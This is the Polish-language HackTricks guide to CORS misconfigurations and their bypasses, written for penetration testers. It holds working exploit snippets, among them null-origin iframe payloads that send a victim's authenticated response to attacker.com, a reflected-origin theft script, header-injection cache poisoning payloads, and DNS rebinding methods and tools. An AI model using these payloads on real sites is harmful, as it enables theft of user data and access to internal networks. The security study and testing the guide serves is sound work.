Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Zacznij od zera i stań się ekspertem AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

LogoWebsec | Uw Cybersecurity Specialist

Co to jest CORS?

Standard Cross-Origin Resource Sharing (CORS) umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów i jakie metody żądań HTTP są dozwolone z zewnętrznych źródeł.

Polityka tego samego pochodzenia nakazuje, że serwer żądający zasobu i serwer hostujący zasób muszą współdzielić ten sam protokół (np. http://), nazwę domeny (np. internal-web.com) i port (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.

Zastosowanie polityki tego samego pochodzenia w kontekście http://normal-website.com/example/example.html jest zilustrowane poniżej:

Odwołany URLDostęp dozwolony?

http://normal-website.com/example/

Tak: Identyczny schemat, domena i port

http://normal-website.com/example2/

Tak: Identyczny schemat, domena i port

https://normal-website.com/example/

Nie: Inny schemat i port

http://en.normal-website.com/example/

Nie: Inna domena

http://www.normal-website.com/example/

Nie: Inna domena

http://normal-website.com:8080/example/

Nie: Inny port*

*Internet Explorer pomija numer portu przy egzekwowaniu polityki tego samego pochodzenia, co umożliwia ten dostęp.

Nagłówek Access-Control-Allow-Origin

Ten nagłówek może zezwalać na wiele źródeł, wartość null lub znak wieloznaczny *. Jednak żaden przeglądarka nie obsługuje wielu źródeł, a użycie znaku wieloznacznego * podlega ograniczeniom. (Znak wieloznaczny musi być używany samodzielnie, a jego użycie razem z Access-Control-Allow-Credentials: true nie jest dozwolone.)

Ten nagłówek jest wystawiany przez serwer w odpowiedzi na żądanie zasobu z innej domeny zainicjowane przez stronę internetową, a przeglądarka automatycznie dodaje nagłówek Origin.

Nagłówek Access-Control-Allow-Credentials

Domyślnie żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelnienia, ustawiając nagłówek Access-Control-Allow-Credentials na true.

Jeśli ustawione jest na true, przeglądarka przekaże uwierzytelnienia (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Żądanie wstępne CSRF

Zrozumienie żądań wstępnych w komunikacji między domenami

Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie metody HTTP niestandardowej (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych nagłówków, lub zastosowanie specjalnej wartości nagłówka Content-Type, może być wymagane żądanie wstępne. To wstępne żądanie, wykorzystujące metodę OPTIONS, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar użyć.

Protokół Cross-Origin Resource Sharing (CORS) nakazuje tę wstępną kontrolę, aby określić wykonalność żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków i wiarygodności pochodzenia. Aby szczegółowo zrozumieć, jakie warunki omijają konieczność żądania wstępnego, należy zapoznać się z kompleksowym przewodnikiem udostępnionym przez Mozilla Developer Network (MDN).

Należy zauważyć, że brak żądania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.

Rozważ poniższą ilustrację żądania wstępnego, które ma na celu użycie metody PUT wraz z niestandardowym nagłówkiem o nazwie Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie oraz inne szczegóły polityki CORS, jak pokazano poniżej:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.

  • Access-Control-Expose-Headers: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.

  • Access-Control-Max-Age: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer określa maksymalny czas, w sekundach, przez jaki informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.

  • Access-Control-Request-Headers: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.

  • Access-Control-Request-Method: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, jaka metoda HTTP zostanie użyta w rzeczywistym żądaniu.

  • Origin: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.

Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu GET/POST nie jest wysyłane żądanie wstępne (żądanie jest wysyłane bezpośrednio), ale jeśli chcesz uzyskać dostęp do nagłówków/ciała odpowiedzi, musi zawierać nagłówek Access-Control-Allow-Origin pozwalający na to. Dlatego CORS nie chroni przed CSRF (ale może być pomocny).

Żądanie wstępne żądań w sieci lokalnej

  1. Access-Control-Request-Local-Network: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu w sieci lokalnej. Służy jako znacznik informujący serwer, że żądanie pochodzi z sieci lokalnej.

  2. Access-Control-Allow-Local-Network: W odpowiedzi serwery wykorzystują ten nagłówek, aby przekazać, że żądany zasób może być udostępniany podmiotom spoza sieci lokalnej. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.

Poprawna odpowiedź zezwalająca na żądanie sieci lokalnej musi również zawierać w odpowiedzi nagłówek Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Należy pamiętać, że IP 0.0.0.0 w systemie Linux działa jako sposób na obejście tych wymagań, aby uzyskać dostęp do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".

Możliwe jest również obejście wymagań dotyczących sieci lokalnej, jeśli użyjesz publicznego adresu IP lokalnego punktu końcowego (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli jest dostępny publiczny adres IP, jeśli jest to z sieci lokalnej, dostęp zostanie udzielony.

Wykorzystywane błędy konfiguracyjne

Zauważono, że ustawienie Access-Control-Allow-Credentials na true jest warunkiem koniecznym dla większości rzeczywistych ataków. To ustawienie pozwala przeglądarce wysyłać dane uwierzytelniające i odczytywać odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast samodzielnie tego robić maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niemożliwe.

Wyjątek: Wykorzystanie Lokalizacji Sieciowej jako Formy Uwierzytelnienia

Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na IP w celu uzyskania dostępu do aplikacji sieciowych. Ta metoda ma pewne podobieństwa z atakiem DNS rebinding, ale jest łatwiejsza do wykorzystania.

Odzwierciedlenie Origin w Access-Control-Allow-Origin

Scenariusz rzeczywisty, w którym wartość nagłówka Origin jest odzwierciedlana w Access-Control-Allow-Origin, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek Access-Control-Allow-Origin, kopiując wartość nagłówka Origin. Ten sposób może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Wykorzystywanie pochodzenia null

Pochodzenie null, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia null za pomocą osadzonego iframu, co umożliwia ominięcie ograniczeń CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniki bypassowania wyrażeń regularnych

Podczas napotkania białej listy domen ważne jest przetestowanie możliwości bypassowania, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą przeoczyć niuanse w konwencjach nazewnictwa domen, co stwarza dodatkowe możliwości bypassowania.

Zaawansowane techniki bypassowania wyrażeń regularnych

Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.), i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona tak, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce Regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.

Aby uzyskać więcej informacji na temat tego sprawdzenia bypass: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Od XSS wewnątrz subdomeny

Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnienie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).

Dla przykładu, rozważmy scenariusz, w którym domena requester.com jest na białej liście do dostępu do zasobów z innej domeny, provider.com. Konfiguracja po stronie serwera może wyglądać mniej więcej tak:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

W tej konfiguracji wszystkie subdomeny requester.com mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład sub.requester.com, zostanie skompromitowana poprzez podatność XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do sub.requester.com mógłby wykorzystać podatność XSS do ominięcia zasad CORS i złośliwie uzyskać dostęp do zasobów na provider.com.

Zatrucie pamięci podręcznej po stronie serwera

Z tej publikacji

Istnieje możliwość wywołania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka Origin z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.

Rozważmy poniższe żądanie, w którym nagłówek Origin jest manipulowany:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretują odpowiedź jako:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Podczas bezpośredniego wykorzystywania tej podatności poprzez wysłanie błędnego nagłówka za pomocą przeglądarki internetowej nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że pamięć podręczna po stronie serwera zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, który może być wykonany jako skrypt w określonych kontekstach.

Aby uzyskać więcej informacji na temat podatności na przechowywane ataki XSS, zobacz PortSwigger.

Uwaga: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.

Zatrucie pamięci podręcznej po stronie klienta

Z tej publikacji

W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku X-User-id, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.

Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek Vary: Origin nie jest określony, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.

Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowany do wykonania w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie pod wskazany adres URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka Vary: Origin.

Poniżej znajduje się zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak, ponieważ skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.

Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy informacje o uprawnieniach ambientalnych, takie jak ciasteczka, są wykorzystywane do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co umożliwia atakującemu ich dostęp.

Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem https://github.com/kapytein/jsonp. Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w aplikacjach internetowych.

Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.

Spróbuj dodać callback parametr w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z Content-Type: application/javascript, co umożliwi obejście polityki CORS.

Łatwe (bezużyteczne?) obejście

Jednym ze sposobów obejścia ograniczenia Access-Control-Allow-Origin jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.

  1. CORS-escape: Narzędzie to dostarcza serwer proxy, który przekazuje twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. W ten sposób skutecznie omija się politykę CORS. Oto przykładowe użycie z XMLHttpRequest:

  2. simple-cors-escape: To narzędzie oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać twoje żądanie w oryginalnej postaci, serwer wykonuje własne żądanie z określonymi parametrami.

Ominięcie za pomocą Iframe + Popup

Możesz obejść sprawdzanie CORS, takie jak e.origin === window.origin, tworząc iframe i z niego otwierając nowe okno. Więcej informacji na następnej stronie:

pageIframes in XSS, CSP and SOP

Przełączanie DNS za pomocą TTL

Przełączanie DNS za pomocą TTL to technika używana do obejścia pewnych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:

  1. Atakujący tworzy stronę internetową i sprawia, że ofiara ją odwiedza.

  2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.

  3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live) określającą, jak długo rekord DNS powinien być uważany za ważny.

  4. Gdy TTL wygaśnie, przeglądarka ofiary wykonuje nowe żądanie DNS, co pozwala atakującemu na wykonanie kodu JavaScript na stronie ofiary.

  5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek ciasteczek na serwer ofiary.

Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu wykorzystaniu tej techniki, nawet przy niskich wartościach TTL.

Przełączanie DNS może być przydatne do obejścia jawnych sprawdzeń IP przeprowadzanych przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, co pozwala buforowi wygasnąć.

Jeśli potrzebujesz szybkiego sposobu na wykorzystanie przełączania DNS, możesz skorzystać z usług takich jak https://lock.cmpxchg8b.com/rebinder.html.

Aby uruchomić własny serwer przełączania DNS, możesz skorzystać z narzędzi takich jak DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Wymaga to wystawienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez twój host.

Możesz także zobaczyć publicznie działający serwer pod adresem http://rebind.it/singularity.html, aby lepiej zrozumieć i eksperymentować.

Przełączanie DNS za pomocą Przepełnienia pamięci podręcznej DNS

Przełączanie DNS za pomocą przepełnienia pamięci podręcznej DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:

  1. Początkowo, gdy ofiara wysyła żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.

  2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zalewa pamięć podręczną DNS, co efektywnie usuwa zbuforowaną nazwę serwera atakującego.

  3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz odpowiedź z adresem IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.

Poprzez zalewanie pamięci podręcznej DNS pracownikiem usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując je na żądany adres IP atakującego.

Przełączanie DNS za pomocą Pamięci podręcznej

Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:

  1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma IP) dla tej samej poddomeny w dostawcy DNS.

  2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.

  3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.

  4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać przeglądarce ofiary.

  5. Przeglądarka ofiary, po stwierdzeniu, że domena jest niedostępna, przechodzi do użycia drugiego podanego adresu IP.

  6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), co pozwala atakującemu wykorzystać to i uzyskać oraz wycieknąć informacje.

Ta technika wykorzystuje zachowanie przeglądarek, gdy dostarczane są im multiple adresy IP dla domeny. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.

Zauważ, że aby uzyskać dostęp do localhost, powinieneś spróbować przypisać ponownie 127.0.0.1 w systemie Windows i 0.0.0.0 w systemie Linux. Dostawcy takie jak godaddy lub cloudflare nie pozwoliły mi na użycie adresu IP 0.0.0.0, ale AWS route53 pozwoliło mi utworzyć jeden rekord A z 2 adresami IP, z których jeden to "0.0.0.0"

Aby uzyskać więcej informacji, możesz sprawdzić https://unit42.paloaltonetworks.com/dns-rebinding/

Inne powszechne metody bypassowania

  • Jeśli wewnętrzne adresy IP nie są dozwolone, mogą zapomnieć o zakazaniu 0.0.0.0 (działa w systemach Linux i Mac)

  • Jeśli wewnętrzne adresy IP nie są dozwolone, odpowiedz CNAME do localhost (działa w systemach Linux i Mac)

  • Jeśli wewnętrzne adresy IP nie są dozwolone jako odpowiedzi DNS, można odpowiedzieć CNAME na wewnętrzne usługi takie jak www.corporate.internal.

Uzbrojone ataki DNS Rebidding

Więcej informacji na temat poprzednich technik bypassowania oraz jak korzystać z poniższego narzędzia można znaleźć w prezentacji Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Konferencja DEF CON 27.

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do przypisania adresu IP serwera atakującego nazwie DNS do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

Rzeczywista ochrona przed atakami DNS Rebinding

  • Używaj TLS w wewnętrznych usługach

  • Wymagaj uwierzytelnienia do dostępu do danych

  • Sprawdzaj nagłówek Host

  • https://wicg.github.io/private-network-access/: Propozycja zawsze wysyłania żądania pre-flight, gdy serwery publiczne chcą uzyskać dostęp do serwerów wewnętrznych

Narzędzia

Testuj możliwe błędy w politykach CORS

Odnośniki

LogoWebsec | Uw Cybersecurity Specialist
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousCookie BombNextCRLF (%0D%0A) Injection

Last updated